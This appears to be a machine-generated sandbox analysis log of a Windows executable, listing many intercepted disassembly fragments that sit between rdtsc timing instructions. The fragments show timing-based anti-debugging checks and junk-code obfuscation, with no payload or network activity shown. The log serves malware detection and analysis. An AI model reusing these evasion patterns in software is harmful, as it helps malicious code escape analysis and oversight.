Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A146D7 second address: A1472A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6511772C86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F6511772C88h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 push 00000000h 0x00000028 jnc 00007F6511772C88h 0x0000002e push 00000000h 0x00000030 mov edi, 17EA4006h 0x00000035 mov edi, dword ptr [ebp+122D1E87h] 0x0000003b xchg eax, esi 0x0000003c jng 00007F6511772C94h 0x00000042 push eax 0x00000043 push edx 0x00000044 push ebx 0x00000045 pop ebx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A1472A second address: A1472E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A1472E second address: A1473E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jo 00007F6511772C8Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A155F0 second address: A15674 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112D9FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F651112D9F8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 movsx edi, dx 0x0000002a push 00000000h 0x0000002c mov ebx, dword ptr [ebp+122D3D3Ch] 0x00000032 xor di, 5311h 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edx 0x0000003c call 00007F651112D9F8h 0x00000041 pop edx 0x00000042 mov dword ptr [esp+04h], edx 0x00000046 add dword ptr [esp+04h], 0000001Ah 0x0000004e inc edx 0x0000004f push edx 0x00000050 ret 0x00000051 pop edx 0x00000052 ret 0x00000053 jmp 00007F651112DA09h 0x00000058 mov edi, esi 0x0000005a push eax 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A17429 second address: A17433 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6511772C86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A17433 second address: A17454 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F651112D9F6h 0x00000009 jl 00007F651112D9F6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jg 00007F651112D9FCh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A17454 second address: A1746B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6511772C93h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A18480 second address: A1848A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F651112D9F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A1848A second address: A1848E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A1848E second address: A184E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 js 00007F651112D9F7h 0x0000000f clc 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F651112D9F8h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c push 00000000h 0x0000002e mov edi, 5EBD7BB1h 0x00000033 xchg eax, esi 0x00000034 jng 00007F651112D9FCh 0x0000003a pushad 0x0000003b pushad 0x0000003c popad 0x0000003d push edx 0x0000003e pop edx 0x0000003f popad 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F651112D9FEh 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A19567 second address: A195F2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6511772C86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c jmp 00007F6511772C91h 0x00000011 nop 0x00000012 push edi 0x00000013 mov dword ptr [ebp+124621DDh], ecx 0x00000019 pop edi 0x0000001a add bl, FFFFFFEDh 0x0000001d push 00000000h 0x0000001f mov dword ptr [ebp+12482B72h], eax 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ebp 0x0000002a call 00007F6511772C88h 0x0000002f pop ebp 0x00000030 mov dword ptr [esp+04h], ebp 0x00000034 add dword ptr [esp+04h], 00000019h 0x0000003c inc ebp 0x0000003d push ebp 0x0000003e ret 0x0000003f pop ebp 0x00000040 ret 0x00000041 call 00007F6511772C97h 0x00000046 jmp 00007F6511772C99h 0x0000004b pop ebx 0x0000004c xchg eax, esi 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A195F2 second address: A19600 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F651112D9F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A19600 second address: A19604 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A19604 second address: A19612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A148F4 second address: A148F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A1582F second address: A15833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A148F8 second address: A14905 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6511772C86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A176BD second address: A176CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F651112D9F6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A18674 second address: A1867A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9C1F37 second address: 9C1F4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F651112DA02h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9C1F4B second address: 9C1F55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6511772C86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A23E30 second address: A23E35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A23E35 second address: A23E43 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6511772C88h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A2E282 second address: A2E287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A2E287 second address: A2E29E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C8Dh 0x00000007 jc 00007F6511772C8Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A2E29E second address: A2E2C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F651112DA06h 0x0000000e jc 00007F651112DA02h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A2E2C5 second address: A2E2CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A2D0D7 second address: A2D103 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F651112DA05h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F651112DA02h 0x00000014 jp 00007F651112D9F6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A2D103 second address: A2D111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pushad 0x00000006 popad 0x00000007 jne 00007F6511772C86h 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A2D111 second address: A2D129 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F651112DA02h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A2D129 second address: A2D12D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A2E0E1 second address: A2E114 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F651112DA02h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f jo 00007F651112D9FEh 0x00000015 jbe 00007F651112D9F6h 0x0000001b push edi 0x0000001c pop edi 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 push esi 0x00000025 pop esi 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A2E114 second address: A2E11A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A31528 second address: A3152E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3152E second address: A31532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A31532 second address: A3153D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3153D second address: A31550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F6511772C8Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A376E9 second address: A376EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A376EF second address: A376F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A36390 second address: A36394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A36394 second address: A363B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C98h 0x00000007 jbe 00007F6511772C86h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A36527 second address: A3652D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A36043 second address: A3604A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A36D9A second address: A36DB0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F651112D9F6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F651112D9F6h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A36F58 second address: A36F63 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3709B second address: A370B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F651112D9FDh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3737B second address: A37392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6511772C8Ah 0x0000000c jc 00007F6511772C86h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A37392 second address: A373AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112DA08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A373AE second address: A373DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C90h 0x00000007 push ecx 0x00000008 jmp 00007F6511772C8Fh 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 je 00007F6511772C86h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A373DC second address: A3741C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F651112DA07h 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f jno 00007F651112DA0Bh 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3741C second address: A37420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A37420 second address: A37424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A38CC9 second address: A38CCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A38CCD second address: A38CEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F651112DA07h 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A38CEE second address: A38CF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A38CF4 second address: A38CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3DCFF second address: A3DD03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3DFE6 second address: A3DFEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3DFEA second address: A3E013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6511772C8Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6511772C95h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3E013 second address: A3E022 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F651112D9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3E022 second address: A3E043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F6511772C99h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3E184 second address: A3E19F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F651112DA01h 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3E19F second address: A3E1A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3E30F second address: A3E313 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3E8B8 second address: A3E8C4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3EA1A second address: A3EA2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F651112D9F6h 0x0000000a pop edi 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3EA2A second address: A3EA5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6511772C86h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push edi 0x0000000e jnc 00007F6511772C86h 0x00000014 pop edi 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F6511772C96h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3EA5A second address: A3EA5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3EA5E second address: A3EA66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3EA66 second address: A3EA80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112DA03h 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9E37A3 second address: 9E37AD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6511772C86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3EE75 second address: A3EE80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F651112D9F6h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FE355 second address: 9FE367 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6511772C86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F6511772C8Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FE403 second address: 9FE408 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FEA60 second address: 9FEA66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FF2B7 second address: 9FF2C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FF2C3 second address: 9FF2C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FF2C7 second address: 9FF2CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FF2CB second address: 9FF2D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FF40A second address: 9FF40E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FF40E second address: 9FF414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FF6BB second address: 9FF6BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FF6BF second address: 9FF6C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FF6C3 second address: 9FF6C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FF6C9 second address: 9FF70C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6511772C88h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F6511772C88h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 movsx edx, cx 0x0000002a lea eax, dword ptr [ebp+1249306Eh] 0x00000030 add ecx, dword ptr [ebp+122D302Fh] 0x00000036 nop 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a ja 00007F6511772C86h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FF70C second address: 9FF710 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FF710 second address: 9FF71D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FF71D second address: 9FF721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FF721 second address: 9E37A3 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6511772C86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b nop 0x0000000c call dword ptr [ebp+122D36E7h] 0x00000012 jmp 00007F6511772C95h 0x00000017 push eax 0x00000018 push edx 0x00000019 jns 00007F6511772C8Ah 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F6511772C8Eh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A45812 second address: A45842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F651112D9F6h 0x0000000a jo 00007F651112D9F6h 0x00000010 popad 0x00000011 jnc 00007F651112D9FEh 0x00000017 pushad 0x00000018 jc 00007F651112D9F6h 0x0000001e jc 00007F651112D9F6h 0x00000024 popad 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
